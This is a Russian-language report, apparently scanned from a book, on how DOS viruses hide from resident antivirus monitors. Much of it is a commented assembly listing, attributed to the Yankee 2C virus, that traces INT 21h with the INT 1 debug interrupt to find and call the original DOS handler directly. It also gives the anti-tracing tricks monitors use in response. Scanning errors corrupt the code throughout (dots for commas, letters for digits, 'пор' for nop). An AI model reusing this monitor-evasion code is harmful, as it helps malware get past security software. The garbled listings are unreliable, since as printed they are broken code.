Доклад: Маскировка вирусов
Разумеется, среди этих многочисленных обработчиков может
"затесаться"
обработчик, принадлежащий антивирусному монитору, который не дает
спокойно работать не только вирусам, но и обычным программам.
Поэтому серьезные вирусы и некоторые хорошо написанные программы
пытаются определить адрес оригинального обработчика и обратиться
к нему напрямую, в обход остальных обработчиков:
mov ah,...
pushf
call dword ptr 021
021 dw ?
S21 dw ?
Но антивирусные мониторы учитывают эту возможность и принимают
свои меры.
Определение адреса оригинального обработчика DOS
Для того чтобы обратиться к DOS напрямую, нужно знать адрес ориги-
нального обработчика. Получить этот адрес не так просто.
Метод трассировки
Чаще всего используется метод трассировки при помощи отладочного
прерывания INT 1. Суть метода заключается в том, что вирус трассиру-
ет прерывание INT 21h (включает флаг трассировки, при этом после
каждой команды происходит прерывание INT 1) и проверяет значение
сегмента, в котором идет обработка прерывания. Если значение сегмен-
та меньше ОЗООЬ, то это обработчик DOS. Например, так поступал мно-
го лет назад вирус Yankee 2C (М2С, Музыкальный). Вот листинг соот-
ветствующего фрагмента с комментариями:
;Берем из таблицы векторов прерываний текущий адрес INT 01 h
mov ax,3501 h
int 21h
mov si.bx ;смещение сохраняем в регистре SI
mov di.es ;сегмент сохраняем в регистре DI
Останавливаем свой обработчик INT 01h
mov ax,2501h
mov dx,offset lnt01
int 21h
;Формируем в стеке адрес выхода из трассировки так, чтобы по IRET
;из INT 21h попасть на метку Next - помещаем в стек
.последовательно флаги, сегмент и смещение метки Next
pushf
push cs
mov ax,offset Next
push ax
;Начинаем трассировку INT 21 h. Для этого нужно подготовить стек
;следующим образом: поместить в него флаги с включенным флагом
;трассировки, а также сегмент и смещение текущего обработчика
;INT 21 h. Затем можно выполнить команду IRET - программа запустит
.текущий обработчик и считает из стека флаги (флаг трассировки
;во флаговом регистре включится, начнется трассировка. После
.каждой команды процессора будет запускаться INT 01 h).
;Помещаем в стек флаги, включаем в них бит, соответствующий
;флагу трассировки TF. Для того, чтобы включить флаг
.трассировки TF, после сохранения флагов в стеке считаем их
;в регистр АХ, в нем включим соответствующий бит, а затем
.сохраним регистр АХ в стеке
pushf
pop ax
or ax,0100h
push ax
;Считаем из таблицы векторов прерываний текущий адрес INT 21 h
mov ax,3521 h
int 21 h
[Сохраним в стеке сегмент, а затем и смещение текущего обработчика
push es
push bx
[Установим в регистре АН номер какой-либо безобидной функции
;(чтобы определение адреса обработчика DOS
;не сопровождалось разрушениями)
mov ah.OBh
.Запускаем трассировку
cli
iret
[Обработчик INT 01 h
lnt01:
;При вызове обработчика в стеке находятся: значение регистра IP,
;значение регистра CS, флаги перед прерыванием.
[Адресуемся к стеку с помощью регистра ВР,
[Предварительно сохранив текущее значение ВР
push bp
mov bp.sp
;Теперь в стеке находятся:
;SS:[BP] - ВР
;SS:[BP+2] - IP
;SS:[BP+4] - CS
;SS:[BP+6] - флаги
; Проверяем флаг продолжения
cmp byte ptr cs:ContinueFlag,1
;Если флаг продолжения выключен, то выходим из трассировки
jne TraceOff
[Проверяем текущий адрес. Если сегмент меньше 300h,
обработчик DOS достигнут, иначе - продолжаем трассировку
;и выходим из обработчика
cmp word ptr [bp+4],300h
jnc ExitFromInt
[Достигнут DOS - берем из стека адрес обработчика и сохраняем его
push bx
mov bx,[bp+2]
mov word ptr cs:021,bx
mov bx,[bp+4]
mov word ptr cs:S21,bx
pop bx
.Заканчиваем обработку прерывания и дальнейшую трассировку
TraceOff:
[Устанавливаем в ноль бит, соответствующий TF,
;в копии регистра флагов в стеке
and word ptr [bp+6],OFEFFh
[Устанавливаем в ноль флаг продолжения
mov byte ptr cs:ContinueFlag,0
ExitFromInt:
pop bp
.Выходим из обработчика
i ret
[Восстановление после трассировки
Next:
[Сбрасываем флаг продолжения
mov byte ptr ds:ContinueFlag,0
[Восстанавливаем прежнее значение вектора прерывания INT 01 h
mov ax,2501 h
mov dx.si
mov ds.di
int 21 h
В настоящее время этот алгоритм можно считать несколько устарев-
шим. Дело в том, что современные версии DOS могут размещать свой
обработчик в областях верхней памяти. Поэтому условие окончания
трассировки должно выглядеть, например, так:
cmp word ptr [bp+4],300h
jb loc_65
cmp word ptr [bp+4],OFOOOh
ja loc_65
В качестве альтернативного варианта можно использовать такой прием.
Сначала определяется исходный сегмент DOS при помощи недокумен-
тированной функции 52h прерывания INT 21h (возвращает адрес век-
торной таблицы связи DOS):
mov ah, 52h
int 21h
mov SegDOS, es
Тогда условие завершения трассировки можно оформить следующим
образом:
push ax
mov ax, cs: SegDOS
cmp word ptr [bp+6], ax
pop ax
jz DOSIsGot
Разумеется, разные приемы могут дать разные результаты. Причем все
результаты можно считать в той или иной мере корректными. Дело
в том, что современные версии DOS, даже будучи загруженными в верх-
нюю память, всегда имеют точку входа в нижней памяти вида:
пор
пор
[Проверка состояния адресной линии А20
call Check_A20
[Переход в верхнюю память
jmp cs: dword ptr HI_DOS
С точки зрения обхода резидентных мониторов "правильным" следует
признать адрес в обработчике DOS, имеющий максимальное значение.
Мы еще вернемся к вопросу о нахождении "правильного" адреса далее.
Авторы антивирусных мониторов знают о подобном приеме поиска ори-
гинального адреса DOS. Достаточно легко испортит трассировку, на-
пример, вот такой вот фрагмент, встроенный в цепочку обработчиков:
.Вызываем обработчик прерывания INT 60h (до этого момента
[Прерывание INT 60h должно быть перехвачено)
int 60h
;Сюда нужно вернуться из прерывания
пор
[Сюда реально вернемся, и флаг трассировки будет сброшен,
;то есть трассировка будет прекращена
пор
[Обработчик прерывания. При вызове прерывания флаг трассировки
.сбрасывается - при входе в обработчик трассировка будет выключена
lnt60:
[Разрешение прерываний, так как при выходе из обработчика не
[будет восстанавливаться оригинальное значение регистра флагов
sti
[Увеличиваем на единицу адрес возврата в стеке
push bp
mov bp, sp
add [bp+2],1
pop bp
[Выходим из прерывания, но не командой IRET, а командой RETF 2,
.чтобы не восстанавливать флаги (и, как следствие,
.флаг трассировки TF)
retf 2
Кроме того, факт трассировки можно достаточно просто обнаружить,
применив хорошо известный разработчикам защит от несанкционирован-
ного копирования прием аппаратного конвейера, который использует
процессор для ускорения работы. При выполнении очередной команды
процессор считывает код следующей. Когда придет время выполнения
следующей команды, она будет уже считана из памяти, и не нужно бу-
дет тратить время на ее чтение. Прием заключается в модификации ко-
манд, которые уже оказались в конвейере: если трассировка не ведется,
то код команд модифицируется только в памяти, а выполняется та про-
грамма, которая находится в конвейере. Если трассировка ведется, то
конвейер сбрасывается перед каждой командой трассируемой програм-
мы (конвейер сбрасывают такие команды, как JMP, CALL, RET) и вы-
полняется модифицированный код.
Кодифицируем следующую команду. Команда JMP (безусловный
; переход) заменяется на две команды NOP (нет операции)
mov Metka, 9090h
Переходим, если выполняется немодифицированный код (в случае,
;когда трассировка не ведется), и проходим дальше, если выполняется
кодифицированный код (в случае трассировки)
Metka: jmp NoTrace
Trace:
;Сюда попадем при выявленном факте трассировки
NoTrace:
Трассировка не ведется - нормальное выполнение программы
Наконец, последний гвоздь в гроб идеи использования трассировки за-
бит: "Выставленный флаг трассировки можно выявить косвенно, замас-
кировав аппаратные прерывания, поместив в [SP-1] контрольное значе-
ние и дав инструкцию STI. Тогда по изменению слова в стеке можно
судить, было трассировочное прерывание или нет".
Выявив факт трассировки прерывания DOS, мониторы начинают выда-
вать об этом соответствующие сообщения, поэтому даже не самый
опытный пользователь догадается, что кто-то (например, вирус) пытает-
ся попасть в систему.
Метод предопределенньш адресов
Переходим к методу определения оригинального адреса точки входа
в DOS, основанному на том, что эти адреса для разных версий и конфи-
гураций DOS имеют в общем случае различные значения, но число
их ограничено. А это значит, что их можно просто-напросто выбирать
из таблицы (причем не очень большой). Прием не новый, но незаслу-
женно забытый.